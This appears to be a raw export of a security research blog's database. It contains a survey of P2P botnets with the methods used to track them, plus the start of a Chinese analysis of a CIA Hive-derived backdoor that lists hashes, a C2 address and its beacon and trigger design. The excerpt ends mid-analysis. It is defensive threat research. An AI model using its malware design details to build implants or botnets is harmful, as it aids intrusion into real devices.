<p>Hajime, which emerged in the same year as MIRAI, less than a few months apart, has been claimed to be run by "white hats" in its alert messages, and its components function with the primary goal of self-propagation. The communication and management between its components makes extensive use of asymmetric encryption and decryption algorithms, making it an extremely classic P2P botnet family. We have covered this botnet in our previous blog.</p>
<p>《<a href="__GHOST_URL__/hajime-status-report/">Is Hajime botnet dead?</a>》</p>
<p><strong>Geographical distribution</strong></p>
<p><img src="__GHOST_URL__/content/images/2022/08/hajime_world_map.png" alt="hajime_world_map" loading="lazy"></p>
<p><strong>Iran tops the list</strong></p>
<p>We normally don’t see Iran on our security event list, but with Hajime infection, Iran is leading the pack, which is pretty interesting. Please leave comments below if you have more insights.</p>
<p><strong>CPU distribution in Hajime</strong></p>
<p>Hajime is a P2P network built on file exchanging and each Hajime bot tries to find the latest version of .i.xxx and atk.xxx files (e.g. atk.arm7/.i.arm7) when it runs. This gives us an opportunity to evaluate the CPU distribution in the "Hajime network". When the Hajime node asks us which nodes contain the corresponding files, we gets a DHT.search count. When a Hajime node asks us to download the corresponding file, we gets a uTP.Request count. Putting these two types of files and two types of counts together, we would have the following four pie charts:</p>
<p><img src="__GHOST_URL__/content/images/2022/08/hajime_cpu_count-2.png" alt="hajime_cpu_count-2" loading="lazy"></p>
<p>Based on the above pie charts, we can see that MIPS based bots are the majority in the Hajime network, far exceeding the sum of the other types of hosts, while MIPSEL has the fewest host nodes.</p>
<p>If we consider that Hajime had integrated a large number of vulnerabilities for propagation, this data can even reflect to some extent the distribution of each type of CPU in smart devices.</p>
<h2 id="mozi">Mozi</h2>
<p>Mozi started out as a P2P family performing DDoS attacks for profits, and later added a mining component. Its network topology is built on the basis of the DHT protocol. More information can be found in our previously published reports.</p>
<p>《<a href="__GHOST_URL__/mozi-another-botnet-using-dht/">Mozi, Another Botnet Using DHT</a>》</p>
<p>《<a href="__GHOST_URL__/the-mostly-dead-mozi-and-its-lingering-bots/">The Mostly Dead Mozi and Its’ Lingering Bots</a>》</p>
<p><strong>Geographical Distribution</strong></p>
<p><img src="__GHOST_URL__/content/images/2022/08/mozi_world_map.png" alt="mozi_world_map" loading="lazy"></p>
<h2 id="fritzfrog">FritzFrog</h2>
<p>FritzFrog is a mining P2P family which relies on SSH services to build P2P networks. It was first disclosed by akamai. More details can be found in the following report (interestingly, FritzFrog wallet address is related to Mozi).</p>
<p>《<a href="https://www.akamai.com/blog/security/fritzfrog-p2p">FritzFrog: P2P Botnet Hops Back on the Scene</a>》</p>
<p><strong>Geographical Distribution</strong></p>
<p><img src="__GHOST_URL__/content/images/2022/08/fritzfrog_world_map.png" alt="fritzfrog_world_map" loading="lazy"></p>
<p><strong>Account Passwords in FritzFrog</strong></p>
<p>Since FritzFrog's P2P is based on SSH implementation, the password of the infected nodes are reflected in the crawled data, the following are the top passwords.</p>
<p><img src="__GHOST_URL__/content/images/2022/10/fritzfrog_user_pass.png" alt="fritzfrog_user_pass" loading="lazy"></p>
<p>The No.1 weak password starts with <code>1</code>, can anyone take a guess what it is?</p>
<h2 id="panchan">Panchan</h2>
<p>Panchan is a mining P2P botnet developed in Go language, it also uses SSH weak passwords for propagation. Its code contains a lot of Japanese katakana, which suggests that Panchan's developers are fluent in Japanese. Another interesting point is that it implements an interactive console on the listening port, using the idea of protocol reuse, allowing administrators to perform some simple queries and management of the nodes from the network. More detailed information can be found in the following Akamai report.</p>
<p>《<a href="https://www.akamai.com/blog/security/new-p2p-botnet-panchan">Panchan’s Mining Rig: New Golang Peer-to-Peer Botnet Says “Hi!”</a>》</p>
<p><strong>Geographic Distribution</strong></p>
<p><img src="__GHOST_URL__/content/images/2022/08/panchan_world_map-1.png" alt="panchan_world_map-1" loading="lazy"></p>
<h1 id="conclusion">Conclusion</h1>
<p>Normally we end our blog with some conclusion, do we have one here? Not really, we just want to shout out to our readers again: if you have seen some interesting p2p botnet, leave a comment, shoot us an email(<strong>netlab[at]360.cn</strong>) or on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>.</p>
<!--kg-card-end: markdown--> | Origins
P2P networks are more scalable and robust than traditional C/S structures, and these advantages were recognized by the botnet authors early on and used in their botnets. In terms of time, Storm, which appeared in 2007, can be considered the progenitor of this area, when botnet threats were first known to the public. after Storm, there have been Karen, ZeroAccess, GameOver, Hijime, mozi and other kinds of P2P botnes, P2P botnets come and go, and some, for example, Mozi keep on going even though the author had been caught.
The early P2P botnets mainly targeted Windows machines, such as Storm, ZeroAccess and GameOver, which were infected with the Windows operating system. after Mirai appeared in 2016, Linux IoT devices, which exist in large numbers on the network and lack some basic security defense, started to become the target of many botnets. For example, Hijime, mozi, pink all target Linux devices.
Because of the "centerless" nature of P2P networks, it is somewhat difficult to assess their size using traditional means. To try to solve this problem, security researchers have invented P2P crawler technology, which can track a P2P botnet and obtain node IPs, download links and configuration information for scale assessment and targeted removal.
Our team(360 netlab) has been focusing on discovering and tracking active botnets for a long time, and P2P botnets are surely on our radar. For example, we first disclosed the mozi botnet in 2019. In order to gain better visibility, we built an industrial-level tracking system for P2P botnets, with the goal of covering major active P2P botnets, This blog article will briefly analyze the current status of the following 5 families based on the tracking data generated by this system.
(In addition to the 5 families mentioned in this article, readers are also welcomed to leave comments below about new|active families of interest, and we will look into them accordingly)
Overview of tracking Strategy
This section will briefly introduce the main tracking strategies used in our tracking system.
Tracking Goals
The main goal of the system is to record the IPs of all the p2p nodes, we “create” a node by simulating the communication protocol, so it can join the corresponding P2P network to participate in the data message exchange. Every time a message exchange is successfully completed, the IP of the other party is recorded, this goes on and on and finally the majority of the nodes from the target P2P network would be recorded.
Methods
The protocol design of each P2P family varies, but following are some common strategies, normally at least one of these would be selected as the tracking method.
Active Probe: This strategy is somewhat similar to a public network scanner in terms of working principle. It first feeds probe messages to the target node, then parses the received reply messages, and identifies the peer as a peer node when the returned message format matches the family characteristics. In practice, we will first delineate a probe range and then probe the nodes within this range (where the probe range may consist of a suspicious network segment or suspicious nodes generated from other policies).
Recent communications:Common P2P families maintain a "recent communications list" of recent peers in each node's memory. In some families, this list is also available to other nodes via specific commands, and would commonly be used as a seed list when the node “boots up”, so that they can quickly join the P2P network. In this case, we can discover more peer nodes by traversing this "recent communication list".
Node heartbeat: When a node maintains a "recent communication list", it will send heartbeat messages to the nodes on the list periodically to declare its online status. Based on this, we can add the "fake node" to the other node's active list to get the active status of the corresponding node at any time. In some cases, we also send heartbeat messages to ensure that we don’t get kicked out by the network.
Wait and see: "Hajime" and "Mozi", for example, use "Distributed Hash Table" to implement their P2P network structure. This technique is designed to speed up data lookup by adding a rule of information-to-node distance and prioritizing the information to be stored on those nodes that are closer. Based on this rule, we can forge a “we-are-more-closer” node then wait for the arrival of other nodes. When other nodes try to obtain the information of the corresponding family from the forged node, we can directly record the other IP as the tracking result.
How to read the Data
Tracking family selection basis
We consider the following two dimensions to screen the appropriate families for tracking to ensure the relative objectivity of the final results.
Based on size: When selecting families, the most priority indicator is that the size of the botnet has to be large, or once historically large enough, in this case "Hajime"/"Mozi"/ “pink" all stand out.
Recent Disclosures: The next choice is the newly emerged ones that have been active at lease for a little while, based on this, we have chosen "panchan" and "frizefrog" as they are newly discovered this year.
Size of the infected bot nodes
Depending on the type of the host device, the number of bot IPs does not necessarily reflect the true number of infected devices.
Bots are servers: In order to provide stable services, the public IPs of servers usually do not change, so the numbers are more accurate.
Bots are IoT devices: These devices are usually found in the residential network. We all know that the IP addresses of residents devices change frequently. This can lead to a large uncertainty in the mapping relationship between the public IP and the device. Multiple devices might share a common public IP (NAT scenario), and devices can switch to different IPs multiple times within a time window (dial-up Internet scenario).
Daily activity of each family
As a comparison, if we take the daily activity of each Monday since August as a sample to plot the medium- and long-term tracking graph, the following is shown.
We can clearly see the order of the family size:
Pink > Hajime > Mozi >> FritzFrog <> Panchan
We can see that the daily activity data of each family has not changed much over the three months period (see the discussion below for Pink's fluctuations in August)
Statistics by family
Pink
At one point, the Pink family had infected more than one million devices in China, it has some cleverly designed command and control protocols. For time sensitive instructions, the control commands are pushed to the bots through a centralized mechanism, On the other hand, if the instructions are not urgent, P2P would be used. For more information, please refer to our previous report.
《Pink, a botnet that competed with the vendor to control the massive infected devices》
Geographical distribution
As shown in the figure, Pink's scope of influence is mainly domestic IoT devices, and the following is its distribution in China.
Daily activity fluctuation
It is worth mentioning in particular that the daily activity data of the family has fluctuated greatly since July, first dropping by an order of magnitude in a week starting on July 12, reaching a daily activity of about 20,000, then returning to zero for about 10 days after August 20, and then returning to 20,000 in September. The fluctuation of daily activity can be seen in the following chart.
Now let’s take a look at daily activity data of July 12, July 26 and September 1. It is easy to tell that the number of daily activities in most provinces decreased significantly with time goes by.
So, it is very likely that starting from July, the major device vendor carried out a national wide clean up effort, resulting in a significant decrease in the number of infected devices.
The fluctuations in late August, on the other hand, are likely due to a national wide C2 blocking action in place.
Hajime
Hajime, which emerged in the same year as MIRAI, less than a few months apart, has been claimed to be run by "white hats" in its alert messages, and its components function with the primary goal of self-propagation. The communication and management between its components makes extensive use of asymmetric encryption and decryption algorithms, making it an extremely classic P2P botnet family. We have covered this botnet in our previous blog.
《Is Hajime botnet dead?》
Geographical distribution
Iran tops the list
We normally don’t see Iran on our security event list, but with Hajime infection, Iran is leading the pack, which is pretty interesting. Please leave comments below if you have more insights.
CPU distribution in Hajime
Hajime is a P2P network built on file exchanging and each Hajime bot tries to find the latest version of .i.xxx and atk.xxx files (e.g. atk.arm7/.i.arm7) when it runs. This gives us an opportunity to evaluate the CPU distribution in the "Hajime network". When the Hajime node asks us which nodes contain the corresponding files, we gets a DHT.search count. When a Hajime node asks us to download the corresponding file, we gets a uTP.Request count. Putting these two types of files and two types of counts together, we would have the following four pie charts:
Based on the above pie charts, we can see that MIPS based bots are the majority in the Hajime network, far exceeding the sum of the other types of hosts, while MIPSEL has the fewest host nodes.
If we consider that Hajime had integrated a large number of vulnerabilities for propagation, this data can even reflect to some extent the distribution of each type of CPU in smart devices.
Mozi
Mozi started out as a P2P family performing DDoS attacks for profits, and later added a mining component. Its network topology is built on the basis of the DHT protocol. More information can be found in our previously published reports.
《Mozi, Another Botnet Using DHT》
《The Mostly Dead Mozi and Its’ Lingering Bots》
Geographical Distribution
FritzFrog
FritzFrog is a mining P2P family which relies on SSH services to build P2P networks. It was first disclosed by akamai. More details can be found in the following report (interestingly, FritzFrog wallet address is related to Mozi).
《FritzFrog: P2P Botnet Hops Back on the Scene》
Geographical Distribution
Account Passwords in FritzFrog
Since FritzFrog's P2P is based on SSH implementation, the password of the infected nodes are reflected in the crawled data, the following are the top passwords.
The No.1 weak password starts with 1, can anyone take a guess what it is?
Panchan
Panchan is a mining P2P botnet developed in Go language, it also uses SSH weak passwords for propagation. Its code contains a lot of Japanese katakana, which suggests that Panchan's developers are fluent in Japanese. Another interesting point is that it implements an interactive console on the listening port, using the idea of protocol reuse, allowing administrators to perform some simple queries and management of the nodes from the network. More detailed information can be found in the following Akamai report.
《Panchan’s Mining Rig: New Golang Peer-to-Peer Botnet Says “Hi!”》
Geographic Distribution
Conclusion
Normally we end our blog with some conclusion, do we have one here? Not really, we just want to shout out to our readers again: if you have seen some interesting p2p botnet, leave a comment, shoot us an email(netlab[at]360.cn) or on twitter.
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# Origins\n\nP2P networks are more scalable and robust than traditional C/S structures, and these advantages were recognized by the botnet authors early on and used in their botnets. In terms of time, [Storm](https://en.wikipedia.org/wiki/Storm_botnet), which appeared in 2007, can be considered the progenitor of this area, when botnet threats were first known to the public. after Storm, there have been Karen, [ZeroAccess](https://ijcttjournal.org/archives/ijctt-v12p112), GameOver, Hijime, mozi and other kinds of P2P botnes, P2P botnets come and go, and some, for example, Mozi keep on going even though the author had been caught.\n\n\nThe early P2P botnets mainly targeted Windows machines, such as Storm, ZeroAccess and GameOver, which were infected with the Windows operating system. after Mirai appeared in 2016, Linux IoT devices, which exist in large numbers on the network and lack some basic security defense, started to become the target of many botnets. For example, Hijime, mozi, pink all target Linux devices.\n\nBecause of the \"centerless\" nature of P2P networks, it is somewhat difficult to assess their size using traditional means. To try to solve this problem, security researchers have invented P2P crawler technology, which can track a P2P botnet and obtain node IPs, download links and configuration information for scale assessment and targeted removal.\n\nOur team(360 netlab) has been focusing on discovering and tracking active botnets for a long time, and P2P botnets are surely on our radar. For example, we first disclosed the mozi botnet in 2019. In order to gain better visibility, we built an industrial-level tracking system for P2P botnets, with the goal of covering major active P2P botnets, This blog article will briefly analyze the current status of the following 5 families based on the tracking data generated by this system.\n\n(In addition to the 5 families mentioned in this article, readers are also welcomed to leave comments below about new|active families of interest, and we will look into them accordingly)\n\n# Overview of tracking Strategy\n\nThis section will briefly introduce the main tracking strategies used in our tracking system.\n\n## Tracking Goals\n\nThe main goal of the system is to record the IPs of all the p2p nodes, we “create” a node by simulating the communication protocol, so it can join the corresponding P2P network to participate in the data message exchange. Every time a message exchange is successfully completed, the IP of the other party is recorded, this goes on and on and finally the majority of the nodes from the target P2P network would be recorded.\n\n## Methods\n\nThe protocol design of each P2P family varies, but following are some common strategies, normally at least one of these would be selected as the tracking method.\n\n**Active Probe**: This strategy is somewhat similar to a public network scanner in terms of working principle. It first feeds probe messages to the target node, then parses the received reply messages, and identifies the peer as a peer node when the returned message format matches the family characteristics. In practice, we will first delineate a probe range and then probe the nodes within this range (where the probe range may consist of a suspicious network segment or suspicious nodes generated from other policies).\n\n\n**Recent communications**:Common P2P families maintain a \"recent communications list\" of recent peers in each node's memory. In some families, this list is also available to other nodes via specific commands, and would commonly be used as a seed list when the node “boots up”, so that they can quickly join the P2P network. In this case, we can discover more peer nodes by traversing this \"recent communication list\".\n\n**Node heartbeat**: When a node maintains a \"recent communication list\", it will send heartbeat messages to the nodes on the list periodically to declare its online status. Based on this, we can add the \"fake node\" to the other node's active list to get the active status of the corresponding node at any time. In some cases, we also send heartbeat messages to ensure that we don’t get kicked out by the network.\n\n**Wait and see**: \"Hajime\" and \"Mozi\", for example, use \"[Distributed Hash Table](https://en.bitcoinwiki.org/wiki/Kademlia)\" to implement their P2P network structure. This technique is designed to speed up data lookup by adding a rule of information-to-node distance and prioritizing the information to be stored on those nodes that are closer. Based on this rule, we can forge a “we-are-more-closer” node then wait for the arrival of other nodes. When other nodes try to obtain the information of the corresponding family from the forged node, we can directly record the other IP as the tracking result.\n\n# How to read the Data\n\n## Tracking family selection basis\n\nWe consider the following two dimensions to screen the appropriate families for tracking to ensure the relative objectivity of the final results.\n\n**Based on size**: When selecting families, the most priority indicator is that the size of the botnet has to be large, or once historically large enough, in this case \"Hajime\"/\"Mozi\"/ “pink\" all stand out. \n\n**Recent Disclosures**: The next choice is the newly emerged ones that have been active at lease for a little while, based on this, we have chosen \"panchan\" and \"frizefrog\" as they are newly discovered this year.\n\n## Size of the infected bot nodes\n\nDepending on the type of the host device, the number of bot IPs does not necessarily reflect the true number of infected devices.\n\n*Bots are servers*: In order to provide stable services, the public IPs of servers usually do not change, so the numbers are more accurate.\n\n*Bots are IoT devices*: These devices are usually found in the residential network. We all know that the IP addresses of residents devices change frequently. This can lead to a large uncertainty in the mapping relationship between the public IP and the device. Multiple devices might share a common public IP (NAT scenario), and devices can switch to different IPs multiple times within a time window (dial-up Internet scenario).\n\n\n# Daily activity of each family \n\nAs a comparison, if we take the daily activity of each Monday since August as a sample to plot the medium- and long-term tracking graph, the following is shown.\n\n![P2P_080910_HMP](__GHOST_URL__/content/images/2022/10/P2P_080910_HMP.png)\n\n![P2P_080910_Fri_Panchan](__GHOST_URL__/content/images/2022/10/P2P_080910_Fri_Panchan.png)\n\nWe can clearly see the order of the family size:\n\nPink > Hajime > Mozi >> FritzFrog <> Panchan\n\nWe can see that the daily activity data of each family has not changed much over the three months period (see the discussion below for Pink's fluctuations in August)\n\n# Statistics by family\n\n\n## Pink\n\nAt one point, the Pink family had infected more than one million devices in China, it has some cleverly designed command and control protocols. For time sensitive instructions, the control commands are pushed to the bots through a centralized mechanism, On the other hand, if the instructions are not urgent, P2P would be used. For more information, please refer to our previous report.\n\n\n《[Pink, a botnet that competed with the vendor to control the massive infected devices](__GHOST_URL__/pink-en/)》\n\n**Geographical distribution**\n\n![pink_world_map](__GHOST_URL__/content/images/2022/08/pink_world_map.png)\n\nAs shown in the figure, Pink's scope of influence is mainly domestic IoT devices, and the following is its distribution in China.\n\n![pink_china_map](__GHOST_URL__/content/images/2022/08/pink_china_map.png)\n\n\n**Daily activity fluctuation**\n\nIt is worth mentioning in particular that the daily activity data of the family has fluctuated greatly since July, first dropping by an order of magnitude in a week starting on July 12, reaching a daily activity of about 20,000, then returning to zero for about 10 days after August 20, and then returning to 20,000 in September. The fluctuation of daily activity can be seen in the following chart.\n\n![pink_tracker-1](__GHOST_URL__/content/images/2022/09/pink_tracker-1.png)\n\nNow let’s take a look at daily activity data of July 12, July 26 and September 1. It is easy to tell that the number of daily activities in most provinces decreased significantly with time goes by.\n\n![pink_0712_china_map](__GHOST_URL__/content/images/2022/09/pink_0712_china_map.png)\n\n![pink_2022_07_26](__GHOST_URL__/content/images/2022/09/pink_2022_07_26.png)\n\n![pink_2022_09_01](__GHOST_URL__/content/images/2022/09/pink_2022_09_01.png)\n\n\nSo, it is very likely that starting from July, the major device vendor carried out a national wide clean up effort, resulting in a significant decrease in the number of infected devices. \n\nThe fluctuations in late August, on the other hand, are likely due to a national wide C2 blocking action in place.\n\n\n## Hajime\n\nHajime, which emerged in the same year as MIRAI, less than a few months apart, has been claimed to be run by \"white hats\" in its alert messages, and its components function with the primary goal of self-propagation. The communication and management between its components makes extensive use of asymmetric encryption and decryption algorithms, making it an extremely classic P2P botnet family. We have covered this botnet in our previous blog.\n\n\n《[Is Hajime botnet dead?](__GHOST_URL__/hajime-status-report/)》\n\n**Geographical distribution**\n\n![hajime_world_map](__GHOST_URL__/content/images/2022/08/hajime_world_map.png)\n\n**Iran tops the list**\n\nWe normally don’t see Iran on our security event list, but with Hajime infection, Iran is leading the pack, which is pretty interesting. Please leave comments below if you have more insights.\n\n**CPU distribution in Hajime**\n\nHajime is a P2P network built on file exchanging and each Hajime bot tries to find the latest version of .i.xxx and atk.xxx files (e.g. atk.arm7/.i.arm7) when it runs. This gives us an opportunity to evaluate the CPU distribution in the \"Hajime network\". When the Hajime node asks us which nodes contain the corresponding files, we gets a DHT.search count. When a Hajime node asks us to download the corresponding file, we gets a uTP.Request count. Putting these two types of files and two types of counts together, we would have the following four pie charts:\n\n![hajime_cpu_count-2](__GHOST_URL__/content/images/2022/08/hajime_cpu_count-2.png)\n\nBased on the above pie charts, we can see that MIPS based bots are the majority in the Hajime network, far exceeding the sum of the other types of hosts, while MIPSEL has the fewest host nodes.\n\nIf we consider that Hajime had integrated a large number of vulnerabilities for propagation, this data can even reflect to some extent the distribution of each type of CPU in smart devices.\n\n## Mozi\n\nMozi started out as a P2P family performing DDoS attacks for profits, and later added a mining component. Its network topology is built on the basis of the DHT protocol. More information can be found in our previously published reports.\n\n《[Mozi, Another Botnet Using DHT](__GHOST_URL__/mozi-another-botnet-using-dht/)》\n\n\n《[The Mostly Dead Mozi and Its’ Lingering Bots](__GHOST_URL__/the-mostly-dead-mozi-and-its-lingering-bots/)》\n\n**Geographical Distribution**\n\n![mozi_world_map](__GHOST_URL__/content/images/2022/08/mozi_world_map.png)\n\n## FritzFrog\n\nFritzFrog is a mining P2P family which relies on SSH services to build P2P networks. It was first disclosed by akamai. More details can be found in the following report (interestingly, FritzFrog wallet address is related to Mozi).\n\n《[FritzFrog: P2P Botnet Hops Back on the Scene](https://www.akamai.com/blog/security/fritzfrog-p2p)》\n\n**Geographical Distribution**\n\n![fritzfrog_world_map](__GHOST_URL__/content/images/2022/08/fritzfrog_world_map.png)\n\n\n**Account Passwords in FritzFrog**\n\n\nSince FritzFrog's P2P is based on SSH implementation, the password of the infected nodes are reflected in the crawled data, the following are the top passwords.\n\n\n![fritzfrog_user_pass](__GHOST_URL__/content/images/2022/10/fritzfrog_user_pass.png)\n\n\nThe No.1 weak password starts with `1`, can anyone take a guess what it is?\n\n## Panchan\n\nPanchan is a mining P2P botnet developed in Go language, it also uses SSH weak passwords for propagation. Its code contains a lot of Japanese katakana, which suggests that Panchan's developers are fluent in Japanese. Another interesting point is that it implements an interactive console on the listening port, using the idea of protocol reuse, allowing administrators to perform some simple queries and management of the nodes from the network. More detailed information can be found in the following Akamai report.\n\n\n《[Panchan’s Mining Rig: New Golang Peer-to-Peer Botnet Says “Hi!”](https://www.akamai.com/blog/security/new-p2p-botnet-panchan)》\n\n**Geographic Distribution**\n\n![panchan_world_map-1](__GHOST_URL__/content/images/2022/08/panchan_world_map-1.png) \n\n# Conclusion\n\nNormally we end our blog with some conclusion, do we have one here? Not really, we just want to shout out to our readers again: if you have seen some interesting p2p botnet, leave a comment, shoot us an email(**netlab[at]360.cn**) or on [**twitter**](https://twitter.com/360Netlab)."}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 63632a581502850007973586 |
post | null | 2022-11-17T10:31:51.000Z | 63873b9a8b1c1e0007f53026 | ddosgen-zong-zhi-http | 0 | 2022-11-17T10:35:43.000Z | public | draft | null | null | DDoS跟踪之HTTP代理攻击 | <!--kg-card-begin: markdown--><h1 id="">背景</h1>
<p>请各位读者自行脑补,?</p>
<h1 id="todo">TODO</h1>
<ul>
<li>攻击趋势</li>
<li>目标SLD,TLD分布</li>
<li>源IP分布,地理位置,PTR,AS,TAG</li>
<li>总结</li>
<li>自建bog?</li>
<li>代理/vpn服务?</li>
</ul>
<!--kg-card-end: markdown--> | 背景
请各位读者自行脑补,?
TODO
* 攻击趋势
* 目标SLD,TLD分布
* 源IP分布,地理位置,PTR,AS,TAG
* 总结
* 自建bog?
* 代理/vpn服务?
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# 背景\n请各位读者自行脑补,?\n\n# TODO\n- 攻击趋势\n- 目标SLD,TLD分布\n- 源IP分布,地理位置,PTR,AS,TAG\n- 总结\n - 自建bog?\n - 代理/vpn服务?"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 63760d97c97f3100072cb3f0 |
post | null | 2022-11-18T07:36:46.000Z | 63873b9a8b1c1e0007f53027 | test | 0 | 2022-12-12T07:02:21.000Z | public | draft | null | null | test | <hr> | null | {"version":"0.3.1","atoms":[],"cards":[["hr",{}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 6377360ebf554c00070425aa |
post | null | 2022-11-23T07:11:35.000Z | 63873b9a8b1c1e0007f53028 | warning-hive-variant-xdr33-is-coming_cn | 0 | 2023-01-09T03:13:20.000Z | public | published | null | 2023-01-09T03:13:20.000Z | 警惕:魔改后的CIA攻击套件Hive进入黑灰产领域 | <!--kg-card-begin: markdown--><h1 id="">概述</h1>
<p>2022年10月21日,360Netlab的蜜罐系统捕获了一个通过F5漏洞传播,VT 0检测的可疑ELF文件<code>ee07a74d12c0bb3594965b51d0e45b6f</code>,流量监控系统提示它和IP<code>45.9.150.144</code>产生了SSL流量,而且双方都使用了<strong>伪造的Kaspersky证书</strong>,这引起了我们的关注。经过分析,我们确认它由CIA被泄露的Hive项目server源码改编而来。<strong>这是我们首次捕获到在野的CIA HIVE攻击套件变种</strong>,基于其内嵌Bot端证书的<strong>CN=xdr33</strong>, 我们内部将其命名为<strong>xdr33</strong>。关于CIA的Hive项目,互联网中有大量的源码分析的文章,读者可自行参阅,此处不再展开。</p>
<p>概括来说,xdr33是一个脱胎于CIA Hive项目的后门木马,主要目的是收集敏感信息,为后续的入侵提供立足点。从网络通信来看,xdr33使用XTEA或AES算法对原始流量进行加密,并采用开启了<strong>Client-Certificate Authentication</strong>模式的SSL对流量做进一步的保护;从功能来说,主要有<code>beacon,trigger</code>两大任务,其中<strong>beacon</strong>是周期性向硬编码的Beacon C2上报设备敏感信息,执行其下发的指令,而<strong>trigger</strong>则是监控网卡流量以识别暗藏Trigger C2的特定报文,当收到此类报文时,就和其中的Trigger C2建立通信,并等待执行下发的指令。</p>
<p>功能示意图如下所示:</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_function.png"><img src="__GHOST_URL__/content/images/2022/12/hive_function.png" class="kg-image"/></a></p>
<p>Hive使用<strong>BEACON_HEADER_VERSION</strong>宏定义指定版本,在源码的Master分支上,它的值<code>29</code>,而xdr33中值为<code>34</code>,或许xdr33在视野之外已经有过了数轮的迭代更新。和源码进行对比,xdr33的更新体现在以下5个方面:</p>
<ul>
<li>添加了新的CC指令</li>
<li>对函数进行了封装或展开</li>
<li>对结构体进行了调序,扩展</li>
<li>Trigger报文格式</li>
<li>Beacon任务中加入CC操作</li>
</ul>
<p>xdr33的这些修改在实现上来看不算非常精良,再加上此次传播所所用的漏洞为N-day,因此我们倾向于排除CIA在泄漏源码上继续改进的可能性,认为它是黑产团伙利用已经泄漏源码魔改的结果。考虑到原始攻击套件的巨大威力,这绝非安全社区乐见,我们决定编写本文向社区分享我们的发现,共同维护网络空间的安全。</p>
<h1 id="payload">漏洞投递Payload</h1>
<p>我们捕获的Payload的md5为<code>ad40060753bc3a1d6f380a5054c1403a</code>,它的内容如下所示:</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_logd.png"><img src="__GHOST_URL__/content/images/2022/12/hive_logd.png" class="kg-image"/></a></p>
<p>代码简单明了,它的主要目的是:</p>
<p>1:下载下一阶段的样本并将其伪装成<code>/command/bin/hlogd</code>。</p>
<p>2:安装<code>logd</code>服务以实现持久化。</p>
<h1 id="">样本分析</h1>
<p>我们只捕获了一个X86 架构的xdr33样本,它的基本信息如下所示:</p>
<pre><code>MD5:ee07a74d12c0bb3594965b51d0e45b6f
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Packer: None
</code></pre>
<p>简单来说,<strong>xdr33</strong>在被侵入的设备运行时,首先解密所有的配置信息,然后检查是否有root/admin权限,如果没有,则输出<code>Insufficient permissions. Try again...</code>并退出;反之就初始化各种运行时参数,如C2,PORT,运行间隔时间等。最后通过<strong>beacon_start</strong>,<strong>TriggerListen</strong>两个函数开启Beacon,Trigger两大任务。</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_main.png"><img src="__GHOST_URL__/content/images/2022/12/hive_main.png" class="kg-image"/></a></p>
<p>下文主要从2进制逆向的角度出发,分析Beacon,Trigger功能的实现;同时结合源码进行比对分析,看看发生了哪些变化。</p>
<h3 id="">解密配置信息</h3>
<p>xdr33通过以下代码片段<strong>decode_str</strong>解密配置信息,它的逻辑非常简单即<strong>逐字节取反</strong>。</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_decode.png"><img src="__GHOST_URL__/content/images/2022/12/hive_decode.png" class="kg-image"/></a></p>
<p>在IDA中可以看到decode_str的交叉引用非常多,一共了152处。为了辅助分析,我们实现了附录中IDAPython脚本 Decode_RES,对配置信息进行解密。</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_idaxref.png"><img src="__GHOST_URL__/content/images/2022/12/hive_idaxref.png" class="kg-image"/></a></p>
<p>解密结果如下所示,其中有<code>Beacon C2</code> <strong>45.9.150.144</strong>,运行时提示信息,查看设备信息的命令等。</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_config.png"><img src="__GHOST_URL__/content/images/2022/12/hive_config.png" class="kg-image"/></a></p>
<h1 id="beacontask">Beacon Task</h1>
<p>Beacon的主要功能是周期性的收集PID,MAC,SystemUpTime,进程以及网络相关的设备信息;然后使用bzip,XTEA算法对设备信息进行压缩,加密,并上报给C2;最后等待执行C2下发的指令 。</p>
<h2 id="0x01">0x01: 信息收集</h2>
<ul>
<li>
<p>MAC</p>
<p>通过<code>SIOCGIFCON</code> 或 <code>SIOCGIFHWADDR</code>查询MAC</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_mac-1.png"><img src="__GHOST_URL__/content/images/2022/12/hive_mac-1.png" class="kg-image"/></a></p>
</li>
<li>
<p>SystemUpTime</p>
<p>通过/proc/uptime收集系统的运行时间</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_uptime.png"><img src="__GHOST_URL__/content/images/2022/12/hive_uptime.png" class="kg-image"/></a></p>
</li>
<li>
<p>进程以及网络相关的信息</p>
<p>通过执行以下4个命令收集<strong>进程,网卡,网络连接,路由</strong>等信息</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_netinfo.png"><img src="__GHOST_URL__/content/images/2022/12/hive_netinfo.png" class="kg-image"/></a></p>
</li>
</ul>
<h2 id="0x02">0x02: 信息处理</h2>
<p>Xdr33通过update_msg函数将不同的设备信息组合在一起</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_compose.png"><img src="__GHOST_URL__/content/images/2022/12/hive_compose.png" class="kg-image"/></a></p>
<p>为了区别不同的设备信息,Hive设计了ADD_HDR,它的定义如下所示,上图中的“3,4,5,6”就代表了不同的Header Type。</p>
<pre><code>typedef struct __attribute__ ((packed)) add_header {
unsigned short type;
unsigned short length;
} ADD_HDR;
</code></pre>
<p>那“3,4,5,6”具体代表什么类型呢?这就要看下图源码中Header Types的定义了。xdr33在此基础上进行了扩展,新增了0,9俩个值,分别代表<strong>Sha1[:32] of MAC</strong>,以及<strong>PID of xdr33</strong>。</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_type.png"><img src="__GHOST_URL__/content/images/2022/12/hive_type.png" class="kg-image"/></a></p>
<p>xdr32在虚拟机中的收集到的部分信息如下所示,可以看出它包含了head type为0,1,2,7,9,3的设备信息。<br>
<a href="__GHOST_URL__/content/images/2022/12/hive_deviceinfo.png"><img src="__GHOST_URL__/content/images/2022/12/hive_deviceinfo.png" class="kg-image"/></a></p>
